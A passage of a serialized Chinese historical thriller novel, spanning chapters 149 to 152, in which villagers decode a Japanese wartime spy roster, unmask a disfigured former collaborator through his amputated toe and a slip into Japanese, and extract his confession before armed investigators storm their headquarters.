前世在部队里见过无数回。新兵蛋子头一回挨炮,哭完嚎完,活着爬起来,第一件事就是拿这种眼神找老班长。
不是尊敬,是求活。
谁能让他不死,他就跟谁。
杨林松没多看他一眼。
这摊烂泥,还有用。
留着。
------
后院的门吱呀一声。
阿三猫腰钻进来,满头白霜,睫毛上挂着冰碴子,两只手死死绞着衣角。
他杵在门口,脑袋快戳到胸口了,嗓子跟灌了沙子似的:
“杨爷,我……我没追上那两辆车。它走的废弃伐木道,等我瞅见灯光想往回蹿,人家早没影了。我……”
“坐下烤火。”
杨林松没回头,抬手往炉膛里添了块干柴。
火苗蹿起来,舔着铁皮炉壁嗤嗤响。
“两条腿跑不过四个轮子,没暴露就是功劳。”
阿三愣了一下,鼻子一酸,狠吸了口气把那股劲压回去,走到炉边蹲下了。
老刘头磕了磕空烟袋锅子,往窗外瞥了一眼,声音压得又低又哑:
“大炮那边扛得住不?”
杨林松盯着跳动的火苗:
“粘得越久,上头那帮人压力越大。光脚的不怕穿鞋的,拖**!”
------
几里外,公社大院。
十多号妇女把办公楼正门堵得水泄不通,白布条在风雪里晃成一片。
哭声、骂声、拍门声搅成一锅粥,整条街都跟着颤。
台阶上,两个公社干部额头冒汗,嗓子喊到劈叉。
“都回去!组织上会查清楚的!”
没人理。
张家嫂子一屁股坐在台阶上,拍着大腿嚎:
“查清楚?人都抓走了,你跟老娘说查清楚?!”
领头的干部脸一沉,回头一挥手。
十几个**民兵从侧门涌出来,**撞在冻土上咔咔响,一字排开,齐齐往人堆方向压。
妇女堆里的嚎叫声矮了一截。
有人往后缩,有人反倒往前挤。
王大炮站在人群正中间。
一动没动。
他瞅见那排枪口了。
一把扯开棉袄领子,纽扣崩飞两颗,啪嗒落在冻土上。
里面皱巴巴的秋衣贴着前胸,鼓出一小块。
他伸手进去,从贴身夹层里掏出一个巴掌大的布包。
红布。
洗得发白了,但还是红的。
一层。
两层。
三层。
布包打开。
一张发黄发脆的纸,四角都卷了,中间用硬纸板夹着,压得平平整整。
当年,杨林松才十二岁,这张纸原本该交给他的监护人,可王大炮瞅着杨金贵两口子那德行,愣是跟上头打了报告,自个儿代为保管。
从杨林松找到老杨日记那一刻起,这张纸就没离过身。
王大炮反手一拍,纸面贴在领头干部的胸口上。
杨卫国烈士证明书。
鲜红的大印盖在正中间,年头久了颜色暗了几成,可那几个字,一笔一划清清楚楚。
领头干部低头一看。
脸上的官架子跟被人一巴掌扇飞了似的。
伸出去的手缩回来,张开的嘴合上了,半个字卡在嗓子眼,上不来下不去。
他身后的民兵,枪口齐刷刷往下垂了两寸。
前排一个年轻民兵下意识往后退了半步,靴跟碾过冻土,发出一声极轻的咯吱响。
王大炮把那张纸举过头顶。
两条胳膊伸得笔直,虎口上的老茧磨得纸边发响。
“看清楚了!”
嗓门劈了,声音带着铁锈味往外蹿。
“烈士杨卫国!一等功臣!为国捐躯!他的亲嫂子,被外头来的人扣了顶现行反**的帽子,拉走了!”
“谁敢动烈士的人!”
他往前迈了一步,枪口近在咫尺,一步都没躲。
“今天就从我王大炮身上踩过去!”
全场闷死。
风卷着雪粒子打在脸上,刺得生疼。
没人眨眼。
十几个民兵端着枪杵在原地,枪口朝天,谁也不敢往前迈半步。
有个老民兵的眼眶红了,别过脸去,喉结上下滚了两回。
领头干部的手缩在袖子里,脸上的血色一阵一阵地变,嘴唇动了三回,一个字没蹦出来。
烈士。
这两个字搁在这年月,比天还大。
谁碰谁死。
------
大队部办公室。
沈雨溪从怀里掏出一叠纸。
纸质泛黄,边角起毛,有几处被虫蛀出了小洞。
从熊神洞核心区的架子上找到的。
她把纸页平铺在桌面上,动作很轻,怕稍一使劲就给揉碎了。
当她把第一页翻过来,对着灯光,纸背面透出一排模糊的水印。
“関東軍特務機関”。
七个字,竖排,嵌在纸纹里。
老刘头的烟袋锅子从嘴里掉下来,磕在凳子腿上,嗑嗒一声。
周铁山的脊背一寸一寸僵直了,两只手从大衣兜里抽出来,攥成了拳头。
这不是物资清单。
这是关东军特务机关的内部文件!
沈雨溪没抬头。
手指顺着竖排的油墨字迹一行一行往下划。
字迹多处晕染,有的整段糊成黑块,有的只剩笔画的残影。
划到第三页中央,她的手指停了。
指尖稳稳
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地点在一个字上。
笔画清晰。
墨色比周围深了一个色号,没被时间啃掉。
“鄭”。
屋里没人出声,连炉膛里的柴火都没崩个火星子。
杨林松一声不吭,眼睛盯在那个字上。
沈雨溪从兜里抽出铅笔。
那支跟了她一整个冬天的短铅笔头,笔芯磨得只剩小半截。
她把笔芯侧过来,贴着纸面,顺着“鄭”字下方那些被墨糊住的凹痕,一点一点涂抹。
铅粉填进纸纹的沟壑里,灰色的线条从泛黄的纸面上一道一道浮了出来。
第一个字。
上头一个“鴻”的右半边,点横撇的走势对得严丝合缝。
再往下。
“協”。
“力”。
两个字并排,清清楚楚。
旁边一串数字和地名缩写,墨色淡得几乎看不见,可铅笔拓过之后,凹痕暴露无遗。
“1943.10”。
“黒嶺”。
沈雨溪抬头。
脸上一丝血色都没有。
“日军特务机关的協力者登录格式。”
她的声音很轻,可每个字砸在桌面上都带着回响。
“姓名、归附时间、活动区域。这是用来锁定核心联络对象的保密档案。”
她把铅笔搁在桌上。
手指头还在抖。
“郑鸿运。1943年10月。黑瞎子岭。”
闷锤!
周铁山的喉结上下滚了两回,后槽牙咬得嘎嘣响,一个字没说出来。
老刘头蹲在墙根,两只手搁在膝盖上,十根手指头一根一根攥紧。
杨大柱缩在炉边,脖子缩进领子里,大气都不敢出。
他虽然蠢,可不至于蠢到连“汉奸”两个字都没弄明白。
杨林松盯着那份文件。
眼睛里的光冷得吓人。
他没动。
三秒。
五秒。
开口了。
“字太糊,光凭这张纸,钉不死他。”
沈雨溪一愣。
“1943年10月在黑瞎子岭跟他一块儿干过活的协力者。”
杨林松一掌按在桌角上,五根手指头嵌进木头缝里。
“还有没有活着的?”
没人接话。
“找到活人证,这口棺材才算钉上最后一颗钉子。”
他的目光落回那张纸上,一字一顿:
“文件上,还有啥名字?”
屋里静得能听见雪粒子打窗户的沙沙声。
“能看清的字,全都记下来。”
沈雨溪深吸了一口气,俯下身。
铅笔头抵在纸面上,就着豆大的煤油灯光,一笔一划地涂抹、辨认、抄录。
炉膛里的柴火终于有了响动,崩了一声,火星子溅在地上,灭了。
没人去添柴。
所有人的视线都在那支铅笔上,锁死在那张尘封了三十一年的纸上。
一个名字,又一个名字。
从泛黄的纸页里,一点一点爬了出来。
第149章 刀尖下蹦出鬼子话
沈雨溪那铅笔头磨得就剩指甲盖儿长,笔芯贴在纸上,一笔一划地蹭。
她停住手,凑到纸跟前,眯着眼瞅。
“第一个。赵德禄,一九四三年九月登录。备注:左手食指第一关节缺失。”
屋里没人吭声。
周铁山盯着纸,一动也不动。
她又翻一页,铅粉填进纸纹里,灰乎乎的笔画从黄不拉几的纸上一道一道冒出来。
“第二个。王铁柱,一九四三年十月登录。备注:右耳廓有弹片伤疤。”
老刘头的烟袋锅子悬在嘴边,空的,没点火,他还嘬了一口。
周铁山后槽牙咬得嘎嘣响,腮帮子上的肉跟着跳。
沈雨溪翻到最后一页。
铅笔抵在纸上,手腕稳当,一个字一个字地拓。
拓到第三行,她手指头顿住了。
指尖按在那个字上,半秒没挪窝。
她抬起头,嘴唇哆嗦了一下。
“孙四海,一九四三年十月登录。”
她顿了顿,声音压得更低。
“备注:因严重冻伤截去左脚小脚趾,走路微跛。”
屋里跟**一样静。
不是安静,是所有人的气儿都一块儿憋住了的那种死静。
炉膛里的柴火“啪”的崩一声,火星子溅在铁皮上,“嗤”一下就灭了。
黑皮靠在门框上,左手下意识往肩伤那儿一搭,眼皮子跳了一下。
------
周铁山一巴掌拍在膝盖上:“三十年了!改名换姓的海了去了,上哪儿凭个死名儿找个瘸子?”
黑皮没吱声。
嘴唇动了两下,又合上了。
杨林松瞅见了,侧过头。
黑皮挠了挠后脑勺,嗓子发涩:“说起走道微瘸……我倒想起个人。”
屋里人“唰”一下全看向他。
他琢磨了几秒,眉头拧成疙瘩:“村东头,废弃的破牛棚。那个常年装疯卖傻、捡泔水吃的疯老头。”
他往前挪了半步,越说越肯定。
“他叫老姜,上黑市倒腾过几回东西。”
“这老东西大夏天也用破麻袋死死裹着左脚,走道总把重心压在右脚跟上。”
他顿了顿,拇指摁在伤臂的绷带上,不自觉攥紧了。
“再说,他那张脸,全是烧伤疤,整个脸都毁了,所以我记忒牢。”
屋里没人出声。
杨林松没动,眼珠子盯在纸上那行字,一眨不眨。
------
杨林松站起身,凳子腿在地上刮出一道刺耳的响。
他目光扫过大队部角落那排破档案柜。
铁皮锈得发黑,柜门缝里塞着黄纸角。
“周叔。”
周铁山早明白了。
两人一块儿走到档案柜跟前,拉开柜门,灰扑扑的卷宗一摞压一摞。
杨林松从上头往下翻,周铁山从底下往上抽。
建国初的流民入档记录、五保户卷宗、土改登记表……
纸脆得一碰就掉渣,灰呛得人直咳嗽。
半个钟头后。
周铁山从最底下的铁盒子里抽出一份发黄的卷宗,纸上钢笔字褪成了淡蓝。
“找着了。”
他把卷宗拍在桌上,食指戳在第三行。
“东头那疯老姜,五十年代初逃荒进的村。档案写着来时就重度烧伤毁了容,是个哑巴。无亲无故,五保户。”
时间对得上。
毁容对得上。
哑巴?不开口,就露不了口音。
杨林松的手指从卷宗上收回来,五指慢慢攥成拳头,骨节咯吱响了一声。
猎物,锁**。
------
可光凭一份档案,钉不死一个趴了三十多年的老鬼。
直接去抓?老姜往地上一躺,扯着嗓子干号,接着装疯。
手里没一锤砸穿他心理防线的玩意儿,等于白跑。
杨林松把卷宗合上。
“我去找三爷,盘盘道。”
沈雨溪抬头:“三爷?”
“村尾那九十多岁的老头,当年被鬼子抓去修过炮楼。”
周铁山嘴唇动了动:“外头还有便衣盯着呢。”
杨林松没搭腔,从柴房摸出**,就冲到后院门口。
他站在门槛上,往外听了三秒。
风雪声里,村道上隐约传来靴子踩雪的咔咔响。
昨夜今晨连折两人,剩下的便衣成了惊弓之鸟,端着枪在村道来回晃,枪机都没关保险。
杨林松脸上那层傻气退得干干净净。
肩膀往下一沉,脊背弓起来,把气儿压到最低。
门开了一条缝。
下一秒,缝里没了人影。
------
杨林松不走村道。
他贴着墙根往西,踩着柴火垛的厚黑影横移三步。
脚掌落在冻实的干柴上。
不陷雪,不留印。
到墙角,他停了半秒,耳朵贴在砖缝上。
十五米外,两个便衣端着波波沙一块儿走过来,靴底踩雪的节奏闷乎乎的。
杨林松屏住气,身子往墙根一贴,整个人缩进柴垛和土墙之间那不到一尺宽的黑缝里。
两道手电光柱从墙头扫过去。
“刷”一下,过去了。
靴子声远了。
他从缝里滑出来,猫腰三步蹿过晒谷场边的石磨堆,借着磨盘的死角,悄没声儿穿过第二道巡逻线。
风雪裹着他,连个影儿都没留下。
------
三爷的破土房窝在村尾最偏的旮旯。
房顶上的茅草被风卷掉一半,门板歪着,透风漏雪。
杨林松从窗洞翻进去,脚落地,没半点儿动静。
热炕上,三爷缩在一床破棉被底下,鼾声又细又碎,跟风箱漏气似的。
杨林松摸到炕沿,没点灯。
一只手稳稳捂住三爷的嘴,劲儿不大不小,刚巧堵出声,不憋气。
老头一激灵,浑身绷紧,俩干柴似的胳膊就要往上抡。
杨林松凑到他耳根子底下,声音压得又低又沉:
“三爷,是我。卫国的儿子。”
挣扎停了。
三爷在黑里瞪着眼适应了五六秒,瞅见了杨林松的轮廓。
那张脸,跟杨卫国年轻时一个模子刻出来的。
杨林松松开手。
三爷喘了口粗气,嗓子眼里嘶嘶响。
杨林松没给他缓劲儿的工夫,嘴唇贴在老头耳朵根,一字一顿。
“三爷,我爹当年打鬼子,黑瞎子岭里头有没有个叫孙四海的?”
三爷身子僵了。
僵了整整三秒。
然后那双浑浊的眼里,窜出一股子火。
两只枯手死死攥住炕沿,指甲盖嵌进破木板里,手背上青筋根根暴起。
“啥孙四海!”
破锣嗓子压到最低,每个字都是从牙缝里磨出来的。
“那就是孙瘸狗!当年给日本子带路钻林子的畜生!脚丫子冻烂了才割了趾头,活该他烂!四五年光复那阵儿,这老
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狗怕挨抗联的枪子儿,大半夜跳了松花江。早**喂鱼了!”
杨林松眼底一沉。
口供闭环了。
跳江没死。
狠下心把自己烧成鬼脸,毁容灭迹。
五十年代初拿逃荒流民的身份混进红星大队,用疯癫和哑巴当皮,捂了整整三十年。
他拍了拍三爷的肩膀。
三爷的手还在抖,不是怕,是恨。
恨了几十年的恨,被一个名字炸出来,烧得骨头疼。
杨林松没多话,悄没声儿起身,从窗洞翻了出去。
风雪接住了他。
------
废弃牛棚连着臭水沟,平日里连野狗都嫌。
棚顶的破木板被雪压得“嘎吱”响,四面漏风,墙根底下全是冻硬的牛粪渣。
杨林松从棚后窟窿钻进去,脚掌踩在干草上,一寸一寸往里挪。
老姜缩在墙角。
一床臭烘烘的破棉被裹到脖子根,浑身抖个不停,嘴里含混嘟囔着谁也听不懂的胡话。
杨林松逼到三步开外,停住了。
右手往后一探。
极其轻微的一声金属摩擦。
56式**出鞘。
刀锋在漏进棚顶的惨白雪光下闪了一下。
杨林松手腕一翻,刀尖往下一挑。
布帛碎裂的声响格外扎耳。
裹在左脚上的破麻袋被一刀劈开,烂布条往两边翻卷。
一只脚掌露在雪光底下。
小脚趾的位置,是一道陈年旧疤。
骨头畸形往里收,皮皱缩发黑。
截趾的口子愈合了几十年,可缺的那截长不回来了。
老姜眼珠子几乎瞪出眼眶。
他喉咙里发出一声尖气音,身子猛地往后缩,后背撞在土墙上,碎泥块簌簌往下掉。
右手在破被底下抽了一下,像是要摸啥玩意儿,半道僵住了。
三十年没碰过刀的手,早不听使唤了。
他嘴大张,扯开嗓子就要嚎的时候。
刀尖到了。
**的血槽贴在他咽喉皮上,冰凉的钢铁嵌进表皮,不深不浅。
刚巧压住跳得厉害的颈动脉。
嚎叫卡在嗓子眼里,上不来,下不去。
杨林松蹲在他面前。
一双眼在黑里冷得吓人。
“孙瘸狗。”
老姜整个人跟被雷劈了似的,从后脑勺麻到脚底板。
“四五年跳进松花江里,冻得舒坦吗?”
老姜牙关磕出一串咯咯响,脖子上的筋一根根绷起来,嘴里的棉絮味混着血腥气往外冒。
“狠下心烧了自己的脸皮,藏了三十年。”
杨林松刀尖往下压了半分。
一颗血珠从皮里渗出来,顺着血槽往下淌。
“你这只左脚,冷不冷?”
这几句话砸在老姜脑子里,如雷劈一样。
三十年的疯癫,三十年的伪装。
在这一刻,碎成了粉。
他不抖了。
不是不怕了。
是怕到了头,浑身骨头像被抽走了似的,整个人从破棉被里滑下来,瘫在烂草垫上。
嘴唇哆嗦了五六下。
一串音节从齿缝里挤出来。
不是东北话。
不是普通话。
是日语。
“た、たす……けて……”
杨林松的刀没动。
刀尖稳稳压在那根跳得发疯的颈动脉上,一动不动。
名单上最后一个名字,最要命的活人证。
拿住了。
第150章 帮凶碰上了苦主
老姜的牙磕得咯咯响,比外头的风雪声还清亮。
杨林松没动刀。
**的血槽贴在颈动脉上,稳得跟画出来的一样。
“你跟我说中国话还是日本话?”
他当然知道这是日本话,前世虽没学过日文,但这种日常用语听多了也就会了。
“用鬼子话求饶,你算哪国人?”
老姜嘴唇抖得合不拢,眼珠子在眼眶里乱转,喉咙里挤出一串含混的气音,不是日语也不是汉话。
此时的他,除了抽抽啥也干不了。
三十年。
三十年装疯卖傻,三十年装哑巴,三十年一脸烂疤,三十年在泔水桶和臭牛棚之间瞎混的日子。
全**白搭了。
一句鬼子话,把三十年的棺材板掀了个底朝天。
杨林松把刀收了。
不是心软,是用不着了。
老姜的腿早软得跟面条似的,别说跑,连爬都爬不动。
他弯腰,一手攥住老姜后脖领子,往上一提。
跟拎条死狗没啥两样。
------
风雪正猛。
杨林松贴着墙根走,脚掌踩在冻实的柴垛影子里,一个脚印都不留。
老姜被他单手拖着,嘴里塞了半截破麻袋,鼻子呼哧呼哧喷白气,四肢乱蹬。
可在杨林松手里,蹬跟没蹬一个样。
村口的手电光柱扫过来一回。
杨林松侧身贴进石磨堆的死角,一动没动。
光柱擦着磨盘顶划过去,刷一下就没了。
他拖着老姜接着走。
到了晒谷场边上,拐过两道土墙的拐角。
这回没走墙根,而是猫腰从场边的草垛底下钻过去,草秆子刮着大衣嚓嚓响。
可脚底没陷雪,没留声。
从后院翻进大队部,推开杂物间的门,把人往地上一摔。
老姜后脑勺磕在硬邦邦的泥地上,闷响一声,疼得眼睛翻白,可嘴里堵着东西,叫唤不出来。
吱嘎。
暗板被推开。
是老刘头,手里拿着个空碗。
他刚给陈远山送了点吃的,顺带把底下的空碗收了。
杨林松瞅了老刘头一眼,就俩字:
“三爷。”
老刘头点点头,放下碗,铺上烂萝卜,猫腰出了后门。
------
杂物间里,煤油灯豆大的火苗晃来晃去。
老姜趴在烂萝卜堆旁边,两手抱着脑袋,整个人蜷成一团。
嘴里的破麻袋不知啥时候松了。
“啊啊啊——啊啊——”
嚎叫声从嗓子眼里窜出来,又尖又碎。
两条腿蹬着地打滚,头发糊了一脸烂萝卜汁,口水鼻涕混成一片,疯得不能再疯。
屋里的动静把周铁山引来了。
他眉头拧成了死疙瘩,蹲下来,仔细瞅老姜的脸。
满是烧伤的疤瘤,鼻梁塌了,眉骨变形,两只眼陷在凹凸不平的疤肉里。
亲妈来了都认不出来。
沈雨溪也来了,站在周铁山身后,手里攥着那份拓出来的名单,眼睛在老姜脸上和纸上来回扫。
纸上写的是孙四海,眼前是个满脸疤、一身泔水味的疯老头。
她抿了抿嘴,朝杨林松轻轻摇了摇头。
周铁山直起身,声音压得低:“你确定没搞错?就凭一只脚?”
杨林松没搭腔,脸上的表情一点没变。
------
天亮前最后那截黑,黑得发沉。
后院的门响了一声。
老刘头搀着三爷进来。
三爷拄着根拐棍,脚步比风里的枯枝还碎。
进了杂物间,老头子喘了好一阵,才把腰直起来。
“瞅瞅,认得不?”杨林松往旁边一让。
三爷眯着那双老眼,凑到煤油灯跟前。
灯光晃在老姜脸上,疤瘤一块一块凸着,阴影拉得七长八短。
三爷看了足有半分钟。
末了叹了口气,慢慢摇头。
“不成。这脸毁的……认不出了,实在对不上号。”
老姜趴在地上,嚎叫一下子拔高了八度。
嚎声里带着股得意的尖气,四肢蹬得更欢了,烂萝卜踢得满地滚。
周铁山的肩膀塌了半寸。
沈雨溪攥名单的手指白了一分。
------
杨林松一声没吭。
他蹲下来,右手从腰后一抽。
唰!
**的刀尖挑进老姜左脚上最后几层裹布里,往外一剜。
布条断裂,碎布翻卷。
一只脚掌,赤裸裸露在灯光下。
小脚趾的位置,是一道陈年旧疤。
截面皮肤收缩发黑,骨头往里畸变,缺的那截指头留了个浅坑。
三爷的眼珠子还没反应过来。
杨林松开口了。
他一字不差地把老姜在牛棚里脱口而出的那句鬼子话复述了一遍。
然后侧过头,盯着老姜的眼睛,一字一顿:
“孙四海。一九四三年十月登录。关东军特务机关协力者。左脚小脚趾冻坏截掉。”
档案上的字,变成了砸在脑门上的铁锤。
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老姜的嚎叫卡住了。
嘴大张着,喉咙里只剩嘶嘶声。
他的右肩往里缩了一下。
就那么一下,下意识的。
不是冷,不是怕。
是三十年前养成的毛病,在日本军官面前低头哈腰时,右肩总不自觉往里缩。
------
三爷浑身一震。
那双昏花的老眼,死死盯在老姜的右肩上。
那个缩的幅度。
那个弯腰时肩胛骨往里拱的弧度。
三十年能毁一张脸。
毁不掉刻在骨头里的玩意儿。
“孙——瘸——狗!!”
三爷的拐棍砸在地上,嘭的一声。
他往前扑了半步,枯柴似的手指戳在老姜鼻尖上,嗓子撕得见了血。
“你个**没死!老子看着你跳的江!你没死啊!!”
眼眶猩红,青筋从脖子根窜到太阳穴。
满嘴牙就剩三四颗,嘴唇抖得脱了形。
九十多岁的人了,这一声吼,把几十年的恨全从胸腔里拽了出来。
老姜瘫了。
彻底瘫了。
从后脑勺到脚后跟,浑身的劲儿被这一声骂抽得精光。
嘴里不嚎了,不滚了,不装了。
整个人缩在烂萝卜堆旁边,眼泪鼻涕混着泔水味儿往下淌。
周铁山倒吸一口凉气,后槽牙咬得嘎嘣响。
老刘头的烟袋锅子悬在嘴边,手指头僵住了。
------
咚!
烂萝卜堆从底下被人推开。
暗门掀起,阴冷潮气往上涌。
陈远山握着锄头从菜窖里爬上来。
他听闻上面有响动,耳朵贴着暗门板有一会儿了。
“孙四海”。
“关东军协力者”。
这些字眼扎进他耳膜里,一个字都没漏。
八年前,他在地质队的日伪档案残卷里见过这个名字。
陈远山站在老姜面前。
锄头拄在脚边,身上还带着菜窖里的霉味和泥腥气。
两个人。
一个躲了八年,一个藏了三十年。
受害者和帮凶,在一间堆满烂萝卜的杂物间里,正面对上了。
老姜的眼珠子瞪到了极限。
他的防线碎了。
涕泪横流,声音从牙缝里一个字一个字往外挤,断断续续,碎得不成句。
“四三年……是郑鸿运……”
杨林松盯着他,一动没动。
老姜吞了口带血的唾沫,声音抖得快散架了。
“……他是主谋……”
第151章 知道是根,还当汉奸?
“主谋了啥?”
杨林松的声音轻飘飘的。
可老姜听出来了。
这轻飘飘底下压着的东西,跟刀尖贴在颈动脉上时,一模一样。
他闭了下眼。
两道浊泪从疤瘤缝里挤出来。
“他让我带路……从老林子西坡的暗沟绕进去……”
“抗联那支队伍……几十口子人……”
停了。
喉咙里卡了口气,上不来下不去。
整个人缩在地上,抖成了一团。
杨林松没催。
等。
三秒。
五秒。
老姜的嘴唇动了。
“……被引进了关东军的包围圈。”
最后三个字是从嗓子眼里一个音节一个音节拽出来的。像拔钉子,每拔一颗都带着血肉。
“一个都没出来。”
------
杂物间里没一个人出声。
杨林松面前浮出来的,是日记扉页上老爹的笔迹。
是熊神洞深处张金山的白骨。
是那些永远埋在黑瞎子岭冻土底下的名字。
砰!
一脚踩下去。
踩在老姜残存的左脚踝上。
骨头碎裂的动静在杂物间里炸开来。
老姜的嘴张到极限,一声惨叫堵在喉咙里,出不来。
整个人弓成了虾米,十根手指头嵌进泥地里,指甲翻了两片,血珠子往外渗。
杨林松的脚没收。
碾了一下。
“几十条命。”
声音冷得跟窗外的冻土一个温度。
老姜疼得快背过气去了。
冷汗浸透了破棉袄,嘴里的气一股一股往外喷。
杨林松蹲下来。
一手揪住他后脖领子,把人从地上拽起半截。
“你一个孤家寡人,跳了江没死,大可以逃到天涯海角去。为啥偏回红星大队?”
老姜嘴唇惨白,牙关打战,声音细得跟蚊子哼哼似的:
“这……这是我的根……回村里……郑家反倒想不到……我敢在他眼皮子底下……”
杨林松盯着他。
三秒。
然后笑了。
是那种怒到了头,从牙缝里硬挤出来的笑。
“知道这里是根,你**还给日本子带路当汉奸?”
这句话砸下来,整间屋子的空气都不流动了。
老姜的嘴张着,合不上。
三爷拄着拐棍,浑身抖得站不稳,眼泪顺着满是老年斑的脸往下淌,拐棍在地上磕出一声闷响。
周铁山攥着拳头,指节咯吱响了两声。
沈雨溪把脸别过去,下唇咬出了白印子。
老刘头的烟袋锅子攥在手里,手背上的青筋一根一根鼓着。
陈远山什么都没说,锄头往地上磕了一下。
闷响,比谁都沉。
杨林松松开手。
老姜摔回地上,瘫如烂泥,连哼都哼不出来了。
“名单上另外两个,赵德禄,王铁柱,在哪儿?”
老姜闭了下眼,声音碎碎道:
“**……都**……六几年的时候……郑鸿运派人……一个在山里失足,一个在家里病故……”
屋里静了,跟坟地似的。
------
杨林松走到办公室,往炉膛里添了两块柴。
火苗蹿起来,映在每个人脸上,跳一下,暗一下。
他靠在椅背上,从衣襟里摸出那颗熊爪牙,攥在掌心。
凉丝丝的。
名单,口供,活人证。
三条线已经拧成了一根绞索,套在郑鸿运脖子上,只差最后一脚蹬开凳子。
“等大炮叔回来……”
砰!哐当!
话音没落完。
大队部前院的铁栅栏门炸了一声巨响。
是卡车。
重型卡车的保险杠直接撞碎了门轴!
两道光柱撕开风雪,直直捅进办公室的窗户,晃得满屋子全是白。
紧接着。
哗啦啦!
十几把波波沙**同时拉栓上膛。
金属撞击的脆响一串连一串,听得人后脖颈子汗**全炸了。
周铁山脸色大变,大衣一掀,一把抄起桌底的**。
老刘头眼皮一跳,烟袋锅子滑进袖口。
沈雨溪把那份名单死死按在胸口,一口气憋在嗓子眼里。
------
卡车后头,吉普车门被人一脚踹开。
一双裹着军靴的脚重重踩进泥雪里,啪嗒一声。
是郑少华。
气势汹汹,来者不善!
“杨林松!给我滚出来!”
伴随着一声阴沉吼叫,他大步跨进院子。
手里倒提着一把**。
莫辛-纳甘**。
他到底还是憋不住了。
撕破脸了。
“你大伯娘骨头软,扛不住事儿!这把从你杨家搜出来的苏制军用**……”
**往冻土上一顿。
钢铁撞地,声音清脆刺耳,往人心尖上敲了一锤。
“咱们今天就当着全村的面,一五一十地算个总账!”
------
门外的压迫感顺着窗缝往里灌。
屋里的空气冻成了冰碴子。
杨林松坐在炉火旁,刺眼的车灯打在脸上,一道阴影从眉骨往下切,把半张脸劈进黑里。
眼睛里没一丝慌。
嘴角反倒一点一点往上勾了起来。
啪!
胸口的熊爪牙被他一把拽下来,死死钉在桌面上。
锋利的尖端正好扎在那张日伪特务名单上。
“天堂有路你不走。”
杨林松站起身,从墙角拎起那把一百二十磅的紫杉木大弓。
这弓,他早就准备好了。
三十年的死局,和眼前的灭顶之灾,在这一刻结结实实撞到了一块儿。
是时候面对面,不,当着全村的面,算一算总账了。
------
推开木门的刹那,寒风朔雪扑
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了满脸。
郑少华站在吉普车跟前。
大衣敞着,左手插兜,右手倒提着莫辛-纳甘**。
**上的油渍冻成深褐色的冰壳,车灯一照,泛着一层暗光。
郑少华眼里全是血丝,额角一根青筋蹦得老高。
他左手从衣兜里伸出来,手腕往外翻了一下,眼珠子往手表上瞟了一眼。
隔了两秒,又瞟了一眼。
杨林松把这两眼记**。
急了。
在赶时间。
后头有人催命,他撑不了多久。
两人隔着七步远。
中间就剩风雪,和枪口。
郑少华没再磨蹭。
嘎啦!
莫辛-纳甘砸在冻土上。
钢铁和碎冰磕在一块儿,发出一声脆响,**弹起来又落回去。
“杨林松!”
郑少华的嗓门拉到了天灵盖。
“私藏制式**,通敌叛国!省革委会调查组依法定性,就地拘押!”
他右手往前一指,食指戳着杨林松的方向,脑袋一扭,冲便衣堆里吼:
“给我铐起来!”
两个便衣端着枪迈出半步。
枪口拉平了,黑洞洞的枪眼往杨林松胸口上一搁。
杨林松没瞅枪口。
他做了个深呼吸。
胸口往下一沉,肩膀松了,脊背那根绷了一整夜的弦,无声无息地卸掉了。
眼神里,那股子从深山老林里带出来的杀意,灭了,啥也不剩。
他挠了挠后脑勺。
手指头在头皮上扒拉了两下,指甲缝里还带着柴灰。
脖子缩进领子里,肩膀往里拱,膝盖微微并拢,整个人矮了半截。
他眼神躲闪,嘴巴一张一合的,下巴还哆嗦。
“那……那啥……”
他伸出手指头,颤巍巍往地上那杆**指了指,嗓子一拔。
“这铁棍子不是俺的啊!”
声音大得整个院子都装不下,往墙外头漫。
紧跟着第二句,更大声:
“这不是你们的人,半夜从别人手里抢走的吗?!”
院子里突然静下来。
风从铁栅栏门口灌进来,刮得卡车上的篷布哗啦啦响。
便衣们没动。
连两个已经迈出半步的便衣,脚底板都钉在了冻土上。
动的人,只有郑少华。
他嘴角往下拽了一截,眼底的血丝更密了,密得快把眼白吃干净了。
他往前迈了一步,靴跟碾碎雪壳子,咔嚓一声。
声音从胸腔底下翻上来:
“装疯卖傻?”
再往前半步。
“你**,跟谁装?”
杨林松缩了缩脖子,不吭声了。
眼珠子转了一圈,嘴唇哆嗦着,脚往后挪了半步。
后背贴上门框,一靠,脑袋往肩膀里一缩。
郑少华盯了他两秒。
侧过头,声音拔到了嗓子能承受的极限:
“动手!”
第152章 你爹的名字在我这儿
村子里,狗吠声四起。
两个便衣端着枪就要往前冲。
哐!
****砸在门槛上,声响比刚才那杆莫辛-纳甘还脆。
周铁山大步跨出来。
人往杨林松前头一站,枪口斜指地面,身板不歪不斜地把门洞堵了个严严实实。
“站住!”
他的嗓门又硬又响:
“大队部自三天前起,已由公社武装部接管,列为军事防务区。赵副部长亲自下的令!地方调查组无权越权执行拘押!”
他手里的**没抬,可食指搭在**护圈上。
“要抓人,拿县武装部的联合令来。没有,一步都别想迈进去。”
便衣的脚步顿住了,十几把枪对准了周铁山的胸口。
可没人开火。
军事防务区这五个字,跟一堵看不见的墙似的,把便衣的枪口拦在了七步之外。
郑少华的牙帮子咬了两下。
他目光从周铁山身上移到杨林松脸上,再移回来。
嘴角往下压了压。
未及开口,一声喊叫从屋里炸出来。
“我可以证明!”
杨大柱连滚带爬,从杨林松和周铁山两腿之间钻出来,冲下台阶,膝盖磕进雪窝子里。
他整个人都在哆嗦着,胳膊猛地抬起,往便衣队伍里一指。
“就是你们!半夜拿……拿枪指着我鼻子,把枪从……从我手里抢走的!还说‘把枪给我,你……你全家没事’!”
声音碎得不成句,可每个字都不含糊。
几个便衣互相对视了一眼,眼神不对了。
郑少华抬起左手,用手指捏住太阳穴,揉了两圈。
他冷笑一声:“你就是张桂兰的儿子?杨林松的亲堂兄?说到底是一家的,这证词谁信?包庇伪造,枪就是从你杨家炕洞搜出来的铁证!”
他左手移到半空。
五根手指张开,往下压。
这是下达射击的手势。
“等等!”
一声嘶哑的嚎声。
杨林松和周铁山同时让开半步。
办公室门洞内,老刘头和阿三正架着一个人往外走。
中间那人,五花大绑,脑袋用麻袋套着。
杨林松开口了。
憨傻没了,脸上的怯意退得干干净净。
他盯着郑少华,声音不高不低:
“你那个操南方口音的人,一米六八,左颧骨有条寸长的旧疤,虎口有枪茧。”
他顿了顿。
“人还活着呢。”
话音刚落,杨林松长臂一探。
麻袋被掀开。
正是那个操南方口音的矮壮汉子,嘴里被塞着破棉絮,脸上都是泥灰。
眼皮半耷拉,两颗眼珠子没有光。
一天一夜,滴水未进,快虚脱了。
